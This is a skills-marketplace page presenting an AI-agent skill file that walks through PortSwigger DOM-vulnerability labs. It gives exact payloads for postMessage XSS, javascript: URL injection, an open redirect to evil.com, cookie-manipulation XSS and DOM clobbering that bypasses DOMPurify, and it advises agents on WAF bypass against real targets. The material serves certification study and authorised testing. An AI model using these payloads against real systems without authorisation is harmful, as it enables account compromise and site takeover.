跳到正文
cccskills
免费在 GitHub 公开

DOM-based Vulnerabilities — Complete Deep Dive

Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques

中文简介正在准备中。当前显示原文说明。

查看安装方法

包含的文件(2)

  • SKILL.md4.9 KB
  • scripts/process.py7.8 KB

SKILL.md(原文)

安装前可以查看交给 AI 代理的指令内容。

DOM-based Vulnerabilities — Complete Deep Dive

Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. Difficulty: 🟢 Apprentice 🟡 Practitioner 🔴 Expert

When to Use

  • Studying for BSCP (Burp Suite Certified Practitioner) certification
  • Testing real-world targets for these vulnerability classes
  • Bug bounty hunting — these exact techniques find real bugs
  • Building exploitation chains

Prerequisites

  • Burp Suite Professional (Community works for most)
  • Browser with proxy configured
  • Burp Collaborator or interactsh for OOB testing

Workflow

Phase 1: Reconnaissance

  • Identify input vectors, parameters, and application behavior.

Phase 2: Exploitation

  • Apply standard lab payloads.

Phase 3: Zero-Day Escalation

  • Fuzz filters, bypass WAFs, and chain with other vulns.

Lab Playbooks

Lab 1: DOM XSS web messages 🟡 PRACTITIONER

<iframe src="https://TARGET" onload="this.contentWindow.postMessage('<img src=1 onerror=print()>','*')">

Target listens to message event and writes to innerHTML without origin check.

Lab 2: Web messages + JS URL 🟡 PRACTITIONER

<iframe src="https://TARGET" onload="this.contentWindow.postMessage('javascript:print()//http:','*')">

Message handler checks indexOf('http:') — append it after // comment.

Lab 3: Web messages + JSON.parse 🟡 PRACTITIONER

<iframe src="https://TARGET" onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:print()\"}","*")'>

Lab 4: DOM open redirection 🟡 PRACTITIONER

https://TARGET/post?postId=1&url=https://evil.com

Lab 5: DOM cookie manipulation 🟡 PRACTITIONER

<iframe src="https://TARGET/product?productId=1&'><script>print()</script>" onload="if(!window.x)this.src='https://TARGET';window.x=1;">

Lab 6: DOM clobbering XSS 🟡 PRACTITIONER

<a id=defaultAvatar><a id=defaultAvatar name=avatar href="1:alert(1)//">

Clobbers defaultAvatar.avatar property used in src attribute.

Lab 7: Clobbering to bypass HTML filters 🔴 EXPERT

<form id=x tabindex=0 onfocus=print()><input id=attributes>

Clobbers element.attributes so DOMPurify can't enumerate and remove event handlers.

Blue Team Detection

  • Monitor access logs for anomalous payloads.
  • Implement strict input validation and parameterized queries where applicable.
  • Create WAF rules masking generic attack patterns.

Zero-Day Research Methodology

When a standard technique doesn't work:

  1. Identify the filter: What chars/patterns are blocked?
  2. Research bypasses: Search GitHub, Twitter, PortSwigger Research for new techniques
  3. Fuzz extensively: Use Burp Intruder with custom charset/tag lists
  4. Chain vulnerabilities: Combine two medium findings into one critical
  5. Check encoding layers: URL, HTML entity, Unicode, double-encode, XML entity

Key Concepts

ConceptDescription
PortSwigger VectorsStandardized approaches to vulnerability classes.
Payload EncodingModifying payloads to bypass basic string matching WAFs.

Output Format

Vulnerability Deep-Dive Report
==============================
Target Vector: [Endpoint]
Bypass Technique: [Explanation of bypass]
Payload Used: [Payload]
Impact Explanation: [Impact]

🔵 Blue Team

  • Deploy robust WAF rules to detect anomalies.
  • Monitor logs for unusual access patterns.

🛡️ Remediation & Mitigation Strategy

  • Input Validation: Sanitize and strictly type-check all inputs.
  • Least Privilege: Constrain component execution bounds.

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

References

评价

还没有评价。欢迎分享你的使用感受。

评论

无需登录即可发表。欢迎分享使用感受、提问,或说明在哪些环境下无法运行。

还没有评论。来写第一条吧。

提交后会立即公开。请勿填写邮箱、电话等个人信息。URL 最多 2 个。

0 / 1000 字

此表单受 reCAPTCHA 保护,适用 Google 的隐私权政策和服务条款。

同一仓库的技能

Exploit pervasive logical flaws in Multi-Factor Authentication (MFA/2FA) implementations to bypass the secondary authentication challenge entirely. Techniques include response manipulation, referal spoofing, token reuse, and predictable backup codes.

中文简介正在准备中。当前显示原文说明。

ShulkwiSEC/bb-huge232026年7月11日 更新

401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

中文简介正在准备中。当前显示原文说明。

ShulkwiSEC/bb-huge232026年7月11日 更新

Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques

中文简介正在准备中。当前显示原文说明。

ShulkwiSEC/bb-huge232026年7月11日 更新

Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

中文简介正在准备中。当前显示原文说明。

ShulkwiSEC/bb-huge232026年7月11日 更新

Execute AS-REP Roasting to extract and crack the NTLM hashes of Active Directory user accounts that have the "Do not require Kerberos preauthentication" flag explicitly enabled. This attack generates a recoverable Ticket Granting Ticket (TGT) without requiring the attacker to authenticate first.

中文简介正在准备中。当前显示原文说明。

ShulkwiSEC/bb-huge232026年7月11日 更新

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

中文简介正在准备中。当前显示原文说明。

ShulkwiSEC/bb-huge232026年7月11日 更新

查看 ShulkwiSEC 的全部技能

报告此技能的问题